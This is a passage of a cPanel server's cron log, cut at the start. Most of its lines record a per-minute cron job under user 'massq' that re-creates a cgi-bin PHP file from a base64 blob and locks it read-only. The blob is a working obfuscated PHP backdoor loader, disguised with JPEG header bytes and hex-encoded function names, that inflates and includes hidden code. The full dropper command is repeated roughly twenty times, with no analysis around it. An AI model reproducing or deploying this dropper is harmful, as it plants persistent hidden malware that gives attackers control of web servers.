uY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:52:01 server CROND[8115]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:53:01 server CROND[8163]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:54:01 server CROND[8308]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:55:01 server CROND[8379]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 01:55:01 server CROND[8380]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:55:01 server CROND[8381]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 01:56:01 server CROND[8487]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:57:01 server CROND[8544]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 01:57:01 server CROND[8545]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:58:01 server CROND[8591]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:59:01 server CROND[8647]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:00:01 server CROND[8799]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 02:00:01 server CROND[8801]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr  7 02:00:01 server CROND[8800]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 02:00:01 server CROND[8802]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 02:00:01 server CROND[8804]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:00:01 server CROND[8803]: (root) CMD (/usr/local/cpanel/bin/backup)
Apr  7 02:01:01 server CROND[8926]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:01:01 server CROND[8927]: (root) CMD (run-parts /etc/cron.hourly)
Apr  7 02:01:01 server run-parts(/etc/cron.hourly)[8927]: starting 0anacron
Apr  7 02:01:01 server anacron[8939]: Anacron started on 2025-04-07
Apr  7 02:01:01 server anacron[8939]: Normal exit (0 jobs run)
Apr  7 02:01:01 server run-parts(/etc/cron.hourly)[8941]: finished 0anacron
Apr  7 02:02:01 server CROND[8996]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:03:01 server CROND[9061]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:04:01 server CROND[9121]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:05:01 server CROND[9305]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 02:05:01 server CROND[9309]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
